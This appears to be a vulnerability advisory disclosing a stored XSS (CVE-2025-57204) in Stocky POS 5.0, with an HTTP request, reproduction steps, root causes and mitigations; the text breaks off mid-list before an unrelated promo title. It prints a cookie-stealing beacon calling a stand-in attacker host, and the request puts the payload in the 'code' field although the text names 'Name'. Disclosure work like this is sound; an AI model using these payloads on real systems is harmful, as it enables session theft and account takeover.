CVE-2025-57204: Stored XSS in Stocky POS with Inventory Management & HRM (ui-lib) 5.0

Sergio Medeiros — Sat, 20 Sep 2025 20:37:36 GMT

Discovered by: Michael Kim
Vendor: ui-lib (Uilibrary)
Product: Stocky – POS with Inventory Management & HRM (“Ultimate Inventory Management System with POS”)
Affected Version: 5.0 (as released June 2025)
Impact: Arbitrary JavaScript Execution (Stored XSS → Session Hijacking / Account Takeover)
Attack Type: Remote (authenticated)
Status: Vendor notified via email; no response as of September 2025

Executive Summary

A Stored Cross-Site Scripting (XSS) vulnerability has been discovered in Stocky POS with Inventory Management & HRM (version 5.0). The issue affects the Products module → Create Product form. An attacker with valid authentication can inject arbitrary HTML/JavaScript in the product “Name” field.

This payload is saved into the database and later executed whenever the product name is rendered in listing/detail views. The flaw allows an attacker to execute arbitrary JavaScript in the browser context of other users (including administrators), enabling session hijacking, privilege escalation, and client-side exploitation.

CVE: CVE-2025-57204
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS v3.1 (proposed): 8.0 (High) → AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

TL;DR

Where: Products → Create Product → “Name” field
Payload stored in DB:
Trigger: Browse product list or details page
Impact: Arbitrary JavaScript execution → session theft, data exfiltration, admin account takeover

POST /api/products HTTP/2
Host: stocky.getstocky.com
Cookie: 
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Xsrf-Token: 
Content-Type: multipart/form-data; boundary=---------------------------400539365429924569542558736906
Content-Length: 3326
Origin: https://stocky.getstocky.com
Referer: https://stocky.getstocky.com/app/products/store
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

-----------------------------400539365429924569542558736906
Content-Disposition: form-data; name="warehouses"

[object Object]
-----------------------------400539365429924569542558736906
Content-Disposition: form-data; name="type"

is_single
-----------------------------400539365429924569542558736906
Content-Disposition: form-data; name="name"

Test
-----------------------------400539365429924569542558736906
Content-Disposition: form-data; name="code"

<details/open/ontoggle=alert(1)>
-----------------------------400539365429924569542558736906
Content-Disposition: form-data; name="Type_barcode"

Step-by-Step Discovery & Exploitation

1. Initial Reconnaissance

Michael Kim began authenticated testing of the Products module in Stocky POS 5.0. Using the built-in developer tools, he observed that product creation was handled by a simple POST form, with no obvious client-side validation of the Name field.

2. Testing Input Handling

The first probe was a benign HTML injection:

probe-test

Upon saving the product and loading the product list, the string rendered as italic text. This confirmed lack of output encoding.

3. Escalating to Stored XSS

Next, a harmless JavaScript event payload was inserted into the “Name” field:

<details/open/ontoggle=alert(1)>

When navigating back to the product list and detail views, the payload executed immediately, confirming stored XSS.

4. Persistence Across Views

Because the injected payload was saved to the database, it fired on:

The product listing page
The product detail page
Any other downstream views rendering the product name

This persistence confirmed that any authenticated user who viewed the product would trigger the injected JavaScript.

5. Demonstrating Impact

To show real-world impact, the benign alert payload was replaced with a data exfiltration beacon:

<details/open/ontoggle=fetch('https://attacker.example/log?c='+document.cookie)>

This PoC illustrates how an attacker could silently steal session tokens or authentication cookies, leading to full account takeover of high-privilege roles (e.g., admins, managers).

Proof-of-Concept (PoC)

Minimal Reproduction

Log in with valid credentials.
Go to Products → Create Product.
In the Name field, enter:
```
 <details/open/ontoggle=alert(1)>
```
Save the product.
Reload the Products list page → alert box triggers.

Root Cause Analysis

No input sanitization: HTML/JS is stored directly without filtering.
No output encoding: Dynamic product names are injected raw into HTML contexts.
No CSP: Lack of a Content-Security-Policy allows inline JavaScript execution via attributes.

Real-World Risk Scenarios

Session hijacking: An attacker can steal admin session tokens.
Privilege escalation: Injected JS can perform administrative actions (e.g., creating new privileged accounts).
Data theft: Sensitive business data (sales, HR info) can be exfiltrated.
Multi-user compromise: Any authenticated user who views the malicious product is affected.

Recommended Mitigations

For Developers (Server-Side Fixes)

Sanitize input: Strip or neutralize HTML/JavaScript in text fields.
Contextual output encoding: Encode dynamic content before rendering.
Reject dangerous tags: Block

Master Bug Bounty Hunting: Your Guide to Breaking into Cybersecurity for Newcomers